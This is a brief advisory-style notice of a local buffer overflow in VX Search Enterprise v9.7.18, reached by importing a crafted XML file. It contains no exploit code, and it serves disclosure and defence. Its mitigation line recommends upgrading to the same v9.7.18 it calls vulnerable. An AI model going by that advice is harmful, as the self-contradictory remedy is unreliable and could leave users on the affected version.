VX Search Enterprise v9.7.18 Import Local Buffer Overflow Vuln.

VX Search Enterprise v9.7.18 is vulnerable to a buffer overflow vulnerability when importing a maliciously crafted XML file. By sending a specially crafted XML file, an attacker can cause a buffer overflow, which can be used to execute arbitrary code. The vulnerability is caused by the lack of proper validation of user-supplied input when importing an XML file.

Mitigation:

Upgrade to the latest version of VX Search Enterprise v9.7.18 or later.
